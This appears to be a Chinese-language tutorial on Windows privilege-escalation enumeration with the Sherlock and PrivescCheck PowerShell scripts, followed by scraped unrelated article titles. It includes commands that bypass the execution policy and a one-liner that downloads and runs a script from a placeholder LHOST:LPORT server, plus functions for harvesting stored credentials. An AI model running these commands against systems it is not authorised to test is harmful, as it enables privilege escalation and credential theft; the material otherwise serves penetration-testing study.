文章目录

  • 一、Sherlock
  • 二、PrivescCheck
  • 三、Windows补丁在线查询

一、Sherlock

GitHub:https://github.com/rasta-mouse/Sherlock

直接运行powershell时提示“无法加载文件ps1,因为在此系统中禁止执行脚本。



主要是由于没有权限执行脚本。

get-help about_signing   提示了解执行策略
get-executionpolicy      查看到当前策略
set-executionpolicy remotesigned   策略为设置为可执行脚本

查看当前策略


显示 Restricted ,即不允许执行任何脚本。

修改策略为可执行脚本文件


请以管理员身份运行 powershell, 再输入命令即可。


执行脚本文件

#搜索所有未安装的补丁
Import-Module  .\Sherlock.ps1;Find-AllVulns
#也可以搜索单个漏洞
Import-Module  .\Sherlock.ps1;Find-MS14058

二、PrivescCheck

PrivescCheck是一款针对Windows系统的提权枚举脚本,该脚本能够枚举出目标Windows系统中常见的Windows错误安全配置,而这些错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升,这些对于攻击者的漏洞利用以及后渗透攻击来说将非常有用。

GitHub:https://github.com/itm4n/PrivescCheck

必须兼容PowerShell v2;

工具使用

导入模块

Import-Module  .\PrivescCheck.ps1

我们可以直接在一个PowerShell命令行控制台中运行该脚本:

PS C:\Temp\> Set-ExecutionPolicy Bypass -Scope Process -Force PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck

该工具在显示输出数据的同时,会将它们写入到一个日志文件中:

PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object "C:\Temp\result.txt"

除此之外,我们也可以打开CMD命令行工具来使用该脚本:

C:\Temp\>powershell -ep bypass -c ". .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck"

你也可以从一台远程Web服务器来导入并使用该脚本:

C:\Temp\>powershell "IEX (New-Object Net.WebClient).DownloadString('http://LHOST:LPORT/Invoke-PrivescCheck.ps1'); Invoke-PrivescCheck"

可调用函数介绍

获取当前用户信息

Invoke-UserCheck - 获取当前用户的用户名和SIDInvoke-UserGroupsCheck - 枚举当前用户所属的组(默认组和低特权组除外)Invoke-UserPrivilegesCheck - 枚举潜在高权限用户的令牌

获取目标设备服务

Invoke-InstalledServicesCheck - 枚举非默认服务Invoke-ServicesPermissionsCheck - 枚举当前用户可以通过服务控制管理器修改的服务Invoke-ServicesPermissionsRegistryCheck - 枚举当前用户可在注册表中修改的服务Invoke-ServicesImagePermissionsCheck - E枚举具有可修改二进制文件(或参数)的所有服务Invoke-ServicesUnquotedPathCheck - 枚举具有可利用的未引用路径的服务

DLL劫持

Invoke-DllHijackingCheck - 检查是否有任何系统路径文件夹可修改程序/进程获取Invoke-InstalledProgramsCheck - 枚举默认情况下未安装的应用程序Invoke-ModifiableProgramsCheck - 枚举拥有DLL文件的可修改EXE的应用程序Invoke-RunningProcessCheck - 枚举正在运行的进程

获取凭据

Invoke-SamBackupFilesCheck - 检查SAM/SYSTEM备份文件的常用位置Invoke-UnattendFilesCheck -枚举无人使用的文件并提取凭证 Invoke-WinlogonCheck - 检查存储在Winlogon注册表项中的凭据Invoke-CredentialFilesCheck - 枚举存储在当前用户AppData文件夹中的凭据文件Invoke-VaultCredCheck - 枚举保存在凭据管理器中的凭据Invoke-VaultListCheck - 枚举保存在凭据管理器中的web凭据Invoke-GPPPasswordCheck - 枚举包含非空“cpassword”字段的组策略首选项(GPP)

获取注册表信息

Invoke-UacCheck - 检查是否启用了UAC(用户访问控制)Invoke-LapsCheck - 检查是否启用了LAPS(本地管理密码解决方案)Invoke-PowershellTranscriptionCheck - 检查是否配置/启用了PowerShell转录Invoke-RegistryAlwaysInstallElevatedCheck - 检查注册表中是否设置了AlwaysInstallElevated项Invoke-LsaProtectionsCheck - 检查LSASS是否作为受保护进程运行(附加检查)

获取网络信息

Invoke-TcpEndpointsCheck - 枚举本地计算机(IPv4和IPv6)上的异常TCP节点Invoke-UdpEndpointsCheck - 枚举本地计算机(IPv4和IPv6)上的异常UDP节点

其他杂项

Invoke-WindowsUpdateCheck - 检查目标设备的上次更新时间Invoke-SystemInfoCheck - 获取目标设备操作系统的名称和完整的版本字符串Invoke-LocalAdminGroupCheck - 枚举默认本地管理组的成员Invoke-MachineRoleCheck - 获取目标设备的角色(工作站、服务器、域控制器)Invoke-SystemStartupHistoryCheck - 获取目标设备系统启动事件的列表 Invoke-SystemStartupCheck - 获取目标系统的上次启动时间Invoke-SystemDrivesCheck - 获取当前映射的本地驱动器和网络共享的列表

三、Windows补丁在线查询

在线网站:http://bugs.hacking8.com/tiquan/


参考文章:

https://cloud.tencent.com/developer/article/1613651
https://www.secpulse.com/archives/126941.html

【系统漏洞检测】Windows分析工具相关推荐

  1. Windows系统安全登录日志分析工具logonTracer汉化修正版

    logonTracer基础使用指南 Windows系统安全登录日志分析工具logonTracer汉化修正版 安装neo4j cd neo4j ./bin/neo4j start 下载logonTrac ...

  2. 实战揭露360和QQ医生系统漏洞检测真相!

    <script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script> ...

  3. 各种RTMP直播流播放权限_音视频_数据花屏_问题检测与分析工具EasyRTMPClient

    之前的一篇博客<网络摄像机IPCamera RTSP直播播放网络/权限/音视频数据/花屏问题检测与分析助手EasyRTSPClient>,我们介绍了RTSP流的检测和分析工具EasyRTS ...

  4. 一款好用的Linux系统服务器性能监控分析工具介绍

    软件性能测试过程中经常要对服务器性能指标(比如CPU.内存.磁盘IO及网络IO等等)进行监控以分析出软件在此服务器上的性能瓶颈以便进行后续的服务器调优及软件性能优化.下面为大家介绍一款小编认为比较好用 ...

  5. TIDE|一个通用的目标检测失效分析工具

    今天和大家分享一篇ECCV2020中关于目标检测失效分析工具的文章. 文章标题:TIDE: A General Toolbox for Identifying Object Detection Err ...

  6. Linux系统下常见性能分析工具的使用

    在前面的文章中,我简单介绍了影响linux性能的几个方面以及如何解决这些方面的问题,但是如何才能从系统上发现是某个方面或某几个方面出现问题了呢,这就需要使用linux系统提供的几个常用性能分析工具,下 ...

  7. linux 性能教程,Linux系统下常见性能分析工具的使用

    在前面的文章中,我简单介绍了影响linux性能的几个方面以及如何解决这些方面的问题,但是如何才能从系统上发现是某个方面或某几个方面出现问题了呢,这就需要使用linux系统提供的几个常用性能分析工具,下 ...

  8. 分析linux系统的运行性能,Linux系统下常见性能分析工具的使用

    在前面的文章中,我简单介绍了影响linux性能的几个方面以及如何解决这些方面的问题,但是如何才能从系统上发现是某个方面或某几个方面出现问题了呢,这就需要使用linux系统提供的几个常用性能分析工具,下 ...

  9. 常见的网络状态检测及分析工具

    目录 netcat(nc) 网络状态检测工具 ifconfig和ip netstat和ss 网络抓包工具 tcpdump Wireshark 其他常用工具 sar nslookup dstat net ...

  10. 第14篇:Struts2框架下Log4j2漏洞检测方法分析与总结

     Part1 前言  Log4j2漏洞出现有大半年的时间了,这个核弹级别的漏洞危害很大,但是这个漏洞检测起来却很麻烦,因为黑盒测试无法预判网站哪个应用功能在后台调用了log4j2记录日志功能.目前通用 ...

最新文章

  1. Angular4.0从入门到实战打造在线竞拍网站学习笔记之四--数据绑定管道
  2. Wiwiz无线Web认证实现限速
  3. 计算机中管理用户数据的单位是,文件_操作系统管理用户数据的单位是______。...
  4. 母函数——找单词(hdu2082)
  5. FLL - C++与VFP 双向混合编程
  6. django添加字典格式的数据
  7. Git学习总结(24)——彻底搞懂 Git-Rebase
  8. 【SSH网上商城】struts搭建及实例
  9. 修改服务器后账套不存在,金蝶KIS专业版环境配置常见问题
  10. 日本惊现史上最大数字货币被盗案,加密货币交易所疑遭黑客盗走620亿日元!
  11. 基于RS485通讯总线的ModbusRtu协议C#上位机开发源码
  12. DSP的入门学习(一)
  13. sql 2012 java_java连接SqlServer2012
  14. java中的异或交换位置_java异或实现两个变量交换
  15. u检验中的查u界值表_u检验和t检验
  16. 【Java】使用AOP进行异常处理与日志记录
  17. 使用Python自动遍历并删除扫描PDF中的空白页
  18. c语言remainder函数,remainder
  19. bash中的字符串长度
  20. C语言格式化输入和输出; Format格式化

热门文章

  1. 华为机试:字符串比较
  2. Head注入(USERANGENT、Referer、X-forword-for)
  3. 《认知觉醒》读书笔记
  4. NeurIPS 2020 | 基于能量的OOD检测
  5. 软件测试培训哪里好?就业前景可观吗?
  6. clone fail smartgit_SmartGit
  7. 借助互联网+ “老装备”定能焕发新生机
  8. 初学者怎么学习java编程
  9. IO流输入输出流入门详解
  10. 牛客寒假算法基础集训营 题解